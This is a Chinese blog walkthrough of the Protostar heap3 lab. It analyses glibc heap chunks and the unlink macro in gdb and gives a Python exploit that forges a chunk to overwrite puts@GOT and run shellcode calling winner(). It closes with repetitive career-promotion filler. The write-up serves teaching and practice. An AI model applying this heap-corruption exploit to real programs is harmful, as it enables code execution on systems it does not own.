![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/1fac45e2b78c4990ab3e1c9efa8b1978.png)
前言
这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章
heap3
程序静态分析
https://exploit.education/protostar/heap-three/
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/7c5094801b5142ffa1d410369ac0a412.png)
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
void winner() #定义了一个名为winner的函数
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); #输出字符串
}
int main(int argc, char **argv) #主函数,从终端接收输入
{
char *a, *b, *c; #声明了三个字符指针 a、b 和 c,用于指向后面通过 malloc 分配的内存
a = malloc(32); #给a分配了32字节的内存
b = malloc(32); #给b分配了32字节的内存
c = malloc(32); #给c分配了32字节的内存
strcpy(a, argv[1]); #将命令行参数argv[1] 复制到先前分配的内存中
strcpy(b, argv[2]); #将命令行参数argv[2] 复制到先前分配的内存中
strcpy(c, argv[3]); #将命令行参数argv[3] 复制到先前分配的内存中
free(c); #释放分配给 c 的内存
free(b); #释放分配给 b 的内存
free(a); #释放分配给 a 的内存
printf("dynamite failed?\n"); #输出字符串
}
程序不复杂,但是想弄懂漏洞的机制还是很复杂的
堆的结构
在malloc.c 源代码中,malloc_chunk 是这样定义的:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk* fd;
struct malloc_chunk* bk;
};
malloc 以块(chunk)为单位分配内存,其结构如下:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/a795dd1c8ea340dda220b4a79699c3b9.png)
chunk start:
这是内存块的起始地址。在分配内存时,内存管理器会返回指向这个位置之后的一个指针,具体是mem字段。
prev_size:
前一个块(previous chunk)的大小。前一个块是空闲的时候,这个字段才有意义,因为它会被用于合并空闲块。
size:
当前块的大小,包括所有的元数据和数据区。这个大小通常包括一些标志位,比如当前块是否被分配或者前一个块是否为空闲。
fd (forward pointer):
在空闲块(free chunk)中使用,指向双向空闲列表中的下一个空闲块。这是双向链表的一部分,用于快速查找和合并空闲内存。
bk (backward pointer):
同样在空闲块中使用,指向双向空闲列表中的上一个空闲块。与 fd 一起,这些指针管理空闲内存,使得空闲内存的合并和重新分配更加高效。
data:
这是实际分配给用户的内存区域。当程序请求内存时,内存分配器会提供一个指向这部分的指针。
mem:
这通常是指向data区域的指针,也是程序实际使用的内存块的起始地址。注意:这个指针通常会按照某种对齐方式进行调整,确保性能最优。
next chunk start:
这是下一个内存块的起始地址。内存分配器会使用当前块的size来找到下一个块的起始位置。
程序动态分析
用gdb打开程序,在调用mallco,strcpy,free函数的地方下一个断点
user@protostar:/opt/protostar/bin$ gdb heap3
GNU gdb (GDB) 7.0.1-debian
Copyright © 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “i486-linux-gnu”.
For bug reporting instructions, please see:
http://www.gnu.org/software/gdb/bugs/…
Reading symbols from /opt/protostar/bin/heap3…done.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048889 <main+0>: push %ebp
0x0804888a <main+1>: mov %esp,%ebp
0x0804888c <main+3>: and $0xfffffff0,%esp
0x0804888f <main+6>: sub $0x20,%esp
0x08048892 <main+9>: movl $0x20,(%esp)
0x08048899 <main+16>: call 0x8048ff2
0x0804889e <main+21>: mov %eax,0x14(%esp)
0x080488a2 <main+25>: movl $0x20,(%esp)
0x080488a9 <main+32>: call 0x8048ff2
0x080488ae <main+37>: mov %eax,0x18(%esp)
0x080488b2 <main+41>: movl $0x20,(%esp)
0x080488b9 <main+48>: call 0x8048ff2
0x080488be <main+53>: mov %eax,0x1c(%esp)
0x080488c2 <main+57>: mov 0xc(%ebp),%eax
0x080488c5 <main+60>: add $0x4,%eax
0x080488c8 <main+63>: mov (%eax),%eax
0x080488ca <main+65>: mov %eax,0x4(%esp)
0x080488ce <main+69>: mov 0x14(%esp),%eax
0x080488d2 <main+73>: mov %eax,(%esp)
0x080488d5 <main+76>: call 0x8048750 strcpy@plt
0x080488da <main+81>: mov 0xc(%ebp),%eax
0x080488dd <main+84>: add $0x8,%eax
0x080488e0 <main+87>: mov (%eax),%eax
0x080488e2 <main+89>: mov %eax,0x4(%esp)
0x080488e6 <main+93>: mov 0x18(%esp),%eax
0x080488ea <main+97>: mov %eax,(%esp)
0x080488ed <main+100>: call 0x8048750 strcpy@plt
0x080488f2 <main+105>: mov 0xc(%ebp),%eax
0x080488f5 <main+108>: add $0xc,%eax
0x080488f8 <main+111>: mov (%eax),%eax
0x080488fa <main+113>: mov %eax,0x4(%esp)
0x080488fe <main+117>: mov 0x1c(%esp),%eax
0x08048902 <main+121>: mov %eax,(%esp)
0x08048905 <main+124>: call 0x8048750 strcpy@plt
0x0804890a <main+129>: mov 0x1c(%esp),%eax
0x0804890e <main+133>: mov %eax,(%esp)
0x08048911 <main+136>: call 0x8049824
0x08048916 <main+141>: mov 0x18(%esp),%eax
0x0804891a <main+145>: mov %eax,(%esp)
0x0804891d <main+148>: call 0x8049824
0x08048922 <main+153>: mov 0x14(%esp),%eax
0x08048926 <main+157>: mov %eax,(%esp)
0x08048929 <main+160>: call 0x8049824
0x0804892e <main+165>: movl $0x804ac27,(%esp)
0x08048935 <main+172>: call 0x8048790 puts@plt
0x0804893a <main+177>: leave
0x0804893b <main+178>: ret
End of assembler dump.
(gdb) b *0x0804889e
Breakpoint 1 at 0x804889e: file heap3/heap3.c, line 16.
(gdb) b *0x080488ae
Breakpoint 2 at 0x80488ae: file heap3/heap3.c, line 17.
(gdb) b *0x080488be
Breakpoint 3 at 0x80488be: file heap3/heap3.c, line 18.
(gdb) b *0x080488da
Breakpoint 4 at 0x80488da: file heap3/heap3.c, line 21.
(gdb) b *0x080488f2
Breakpoint 5 at 0x80488f2: file heap3/heap3.c, line 22.
(gdb) b *0x0804890a
Breakpoint 6 at 0x804890a: file heap3/heap3.c, line 24.
(gdb) b *0x08048916
Breakpoint 7 at 0x8048916: file heap3/heap3.c, line 25.
(gdb) b *0x08048922
Breakpoint 8 at 0x8048922: file heap3/heap3.c, line 26.
(gdb) b *0x0804892e
Breakpoint 9 at 0x804892e: file heap3/heap3.c, line 28.
运行程序,查看堆的地址
(gdb) r AAAAAAAA BBBBBBBB CCCCCCCC
Starting program: /opt/protostar/bin/heap3 AAAAAAAA BBBBBBBB CCCCCCCC
Breakpoint 1, 0x0804889e in main (argc=4, argv=0xbffff744) at heap3/heap3.c:16
16 heap3/heap3.c: No such file or directory.
in heap3/heap3.c
(gdb) info proc mappings
process 2452
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap3
0x804b000 0x804c000 0x1000 0x3000 /opt/protostar/bin/heap3
0x804c000 0x804d000 0x1000 0 [heap]
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/7a2d55c4c1a047dfa2179766cddd3fdd.png)
堆的地址为0x804c000-0x804d000,查看堆
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000fd9
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/067c7cb9ab5249a6ac7bdc4e4a97fdc2.png)
堆的突出显示部分是第一个分配的块。我们可以看到prev_size为0,size为0x28+1(40字节,最低有效位+1表示块正在使用),然后是分配内存的32字节。
现在执行了第一次内存分配
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/96d89c870066471b95d8b3782f0e4a8f.png)
然后用define hook-stop参数在每一步操作停下来后,自动的运行我们设置的命令,可以更方便的展示堆空间的操作
(gdb) define hook-stop
Type commands for when breakpoint 9 is hit, one per line.
End with a line saying just “end”.
>x/i $eip
>x/40x 0x804c000
>end
输入c执行完内存分配操作
(gdb) c
Continuing.
0x80488be <main+53>: mov %eax,0x1c(%esp)
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 3, 0x080488be in main (argc=4, argv=0xbffff744) at heap3/heap3.c:18
18 in heap3/heap3.c
现在已经完成了a,b,c的内存分配,继续下一步操作,strcpy会将我们输入的字符串放入堆中
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/16dfa17a0c8847f28f673e368a92fd52.png)
(gdb) c
Continuing.
0x80488da <main+81>: mov 0xc(%ebp),%eax
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 4, main (argc=4, argv=0xbffff744) at heap3/heap3.c:21
21 in heap3/heap3.c
(gdb) c
Continuing.
0x80488f2 <main+105>: mov 0xc(%ebp),%eax
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 5, main (argc=4, argv=0xbffff744) at heap3/heap3.c:22
22 in heap3/heap3.c
(gdb) c
Continuing.
0x804890a <main+129>: mov 0x1c(%esp),%eax
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 6, main (argc=4, argv=0xbffff744) at heap3/heap3.c:24
24 in heap3/heap3.c
输入的字符串已经到了指定的位置,现在就来执行最关键的free操作了,执行完这三个free操作后查看堆
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/9a11e329bef24aebab9fbd75103e1f5c.png)
gdb) c
Continuing.
0x804892e <main+165>: movl $0x804ac27,(%esp)
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 9, main (argc=4, argv=0xbffff744) at heap3/heap3.c:28
28 in heap3/heap3.c
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/0ee555a176694d84a2a15cbaaeb727d4.png)
现在我们看到了一些意想不到的东西。首先,所有data块中的 prev_size 仍然为 0,但它应该包含前一个data块的大小。其次,虽然 fd
正确指向了下一个空闲块(第一个数据块的地址是 0x0804c028,也就是第二个数据块的地址),但 bk
也没有被设置,还显示的是我们输入的字符串。此外,size字段的最小有效位也没有被设置,这到底是怎么回事?
Fastbins
在堆内存管理中,尤其是在GNU C库(glibc)的ptmalloc分配器中,Fastbins 是一种特殊类型的free列表(free
list),用于优化小块内存的分配和回收。Fastbins 是针对大小固定且经常被分配和释放的小对象设计的,旨在减少对小对象频繁操作时的性能开销
之所以没有按照我们预期的方式运行,是因为分配的缓冲区很小。当块小于 64 字节时(默认情况下),malloc 将使用简化的数据结构(fastbin),并忽略
prev_size、bk 和size位。
free
当调用 free 时,如果被释放的数据块旁边有空闲的数据块,free 会将它们合并成一个更大的空闲数据块。空闲块存储在一个双链列表中(暂时忽略
fastbin 块),在合并时,free 会从列表中移除被合并的相邻空闲块,因为它将成为新的、更大的空闲块的一部分
unlink
在堆内存管理中,特别是在如ptmalloc(glibc使用的内存分配器)这样的分配器中,unlink操作是指从双向链表中移除一个空闲内存块的过程。这个操作通常在内存回收或内存块合并时发生。
在ptmalloc中,空闲的内存块(也称为"chunk")通常以双向链表的形式被管理。每个空闲块都有两个指针:
fd(forward pointer):指向链表中下一个空闲块的指针。
bk(backward pointer):指向链表中前一个空闲块的指针。
unlink的源代码如下:
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
调用时,第一个参数 P 是要unlink的数据块,参数 BK 和 FD
是用于存储上一个和下一个空闲数据块指针的临时变量。当一个数据块被解除链接时,下一个空闲数据块 P->fd 和上一个空闲数据块 P->bk 会相互指向。
如下图:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/2799cc3eac5649c6a52685ea18255619.png)
P (free chunk):
这是当前被“unlink”(即解除链接)的空闲内存块。它在双向空闲链表中,并且包含了fd(forward
pointer,指向下一个块)和bk(backward pointer,指向前一个块)。
BK (previous free chunk):
这是P之前的空闲内存块,它的fd指针指向P。
FD (next free chunk):
这是P之后的空闲内存块,它的bk指针指向P。
Unlink操作
当从链表中移除P时,需要进行以下步骤:
调整BK的fd指针:
BK块的fd指针需要更新为P的fd指针所指向的块,这就是FD。这样,BK将直接指向FD,跳过了P。
调整FD的bk指针:
同时,FD块的bk指针需要更新为P的bk指针所指向的块,也就是BK。这样,FD将直接指向BK,跳过了P。
因此,unlink 基本上是将 P->bk 的值写入地址 (P->fd)+12 处的内存,并将 P->fd 的值写入地址 (P->bk)+8
处的内存。更改后的内存以图中蓝色标出。如果我们能控制 P->fd 和 P->bk 的值,我们就能覆盖任意内存,限制条件是 (P->fd)+12 和
(P->bk)+8 都必须是可写的。
而这个源代码使用了strcpy函数,strcpy函数不会检查目标缓冲区的大小,很容易导致缓冲区溢出
这里还需要用到全局偏移表
什么是plt(程序联动表)表与got(全局偏移表)表
这里举一个例子,我们用file工具查看文件信息可以发现
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/800104f012e84da2b05ae569d7986713.png)
他是动态链接库的,意思是从libc里调用的函数
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/8f103653ea73458382aaf07f8e2272ee.png)
比如这里的gets函数,他不是二进制文件本身里面自带的,而从本机上的libc库中调用的,这样就能缩小文件体积
而plt表的作用是当程序需要调用一个外部函数时,它首先跳转到PLT表中寻找该函数对应的入口,PLT入口包含跳转指令,然后跳转到GOT表中的相应地址,GOT中的地址会指向解析函数,之后解析函数将实际的函数地址写入GOT表,以便后续直接跳转调用函数
如果我们覆盖了这个程序的printf got表,可以让程序执行printf函数时跳转到winner函数地址
这里puts函数的plt表地址是0x8048790,我们可以查看这个地址,找到put函数的got表地址
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/40ca4a3e109349d0b4827ff900bc8dad.png)
gdb将printf函数解析成了put函数,没什么问题,put函数的got表地址为0x804b128
现在的计划现在很清楚了。我们将在堆上的某个地方存储调用 winner() 的 shellcode,然后在一个特制的块上强制合并块并调用unlink。该块的
fd 字段包含 0x0804b11c = (0x0804b128-12),bk 字段包含 shellcode 的地址。我们不能将 winner()
的地址写入 bk,因为这部分内存是不可写的,而且 BK->fd 也将作为 unlink 的一部分被更新。
pwn
负数size的块
我们可以用 -4 (0xfffffffc) 作为块大小
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/7f1139c355294bbfabd75c632948d623.png)
当使用 fastbin 时,malloc 会将块大小转换为无符号 int,因此 -4 比 64 大。
0xfffffffc 的最小有效位未设置,这表明前一个相邻的数据块是空闲的,程序会调用unlink
前一个相邻块的地址将通过从当前块的开头减去-4(即加4)来计算。
下一个相邻块的地址将通过从当前块的开头加上-4(即减去4)来计算。它的大小也将为-4。
当前分块开始前的值将用于确定下一个相邻分块是否空闲。在个值应该设置为奇数,以避免内存损坏(否则下一个相邻的分块也将作为空闲分块合并的一部分被调用unlink)。
需要注意的是,shellcode 要很短(8 字节或更短),因为 "shellcode 的地址 "+8 处的内存将被 unlink 覆盖。
winner函数地址:
(gdb) p winner
$1 = {void (void)} 0x8048864
用汇编指令调用winner函数:
push 0x08048864
ret
使用这个网站将汇编指令调用winner函数的指令转化
https://shell-storm.org/online/Online-Assembler-and-Disassembler/
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/e527f55ef74e4b199bd9949b30c92af5.png)
call winner:
\x68\x64\x88\x04\x08\xc3
我们用第三个块来存储我们精心设计的块。我们将把 shellcode 存储在第二个块,并用它来覆盖 prev_size 和最后一个块的大小
0xfffffffc。
#!/usr/bin/python
import struct
# 输入的第一个参数
buf1 = ‘’
buf1 += ‘AAAA’ # 垃圾字符
# 输入的第二个参数
buf2 = ‘’
buf2 += '\xff’16
buf2 += “\x68\x64\x88\x04\x08\xc3” # shellcode
buf2 += ‘\xff’(32-len(buf2))
# 用 -4 覆盖 prev_size 和最后一个块的大小
buf2 += struct.pack(‘I’, 0xfffffffc)*2
# 输入的第三个参数
buf3 = ‘’
buf3 += ‘\xff’*4 # 垃圾字符
buf3 += struct.pack(‘I’, 0x804b128-12) # puts@GOT-12
buf3 += struct.pack(‘I’, 0x804c040) # shellcode的地址
files = [“/tmp/A”, “/tmp/B”, “/tmp/C”] #将要输入的参数文件放到/tmp下
buffers = [buf1, buf2, buf3]
for f_name, buf in zip(files, buffers): 写入
with open(f_name, ‘wb’) as f:
f.write(buf)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/edbae0dcef2c4d8f9f90fa81604a94ec.png)
user@protostar:/tmp$ cd /opt/protostar/bin/
user@protostar:/opt/protostar/bin$ ./heap3 $(cat /tmp/A) $(cat /tmp/B) $(cat /tmp/C)
that wasn’t too bad now, was it? @ 1705068581
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/63793684e08144c7bf916333ae6c3f92.png)
成功破解程序,现在我们用gdb来看看堆里是什么样子的
(gdb) r $(cat /tmp/A) $(cat /tmp/B) $(cat /tmp/C)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/0794a0540d9f43299d4dcbe5e7ae6ea6.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/7e451daef9e44bd4a09731cde10696ec.png)
已分配完内存,然后就是导入文件里的内容
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/42225eebf4814b18ab5c2ed6c25691ce.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/0ce3165a82df4479974aa1bb7a21bd53.png)
执行free与unlink
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/50b2a370404146818fbc36b65418793e.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/6e8560aa2c55424492bbafe584a1c1b8.png)
(gdb) x/x 0x804b128
0x804b128 <GLOBAL_OFFSET_TABLE+64>: 0x0804c040
puts函数的got表地址成功被覆盖成了winner函数的地址
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/e32b9cbb64fe4d73bfcc591ca9b5f33d.png)
这里推荐LiveOverflow博主的视频教程
https://www.youtube.com/watch?v=HWhzH–89UQ&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=31
e题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
2023届全国高校毕业生预计达到1158万人,就业形势严峻;
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…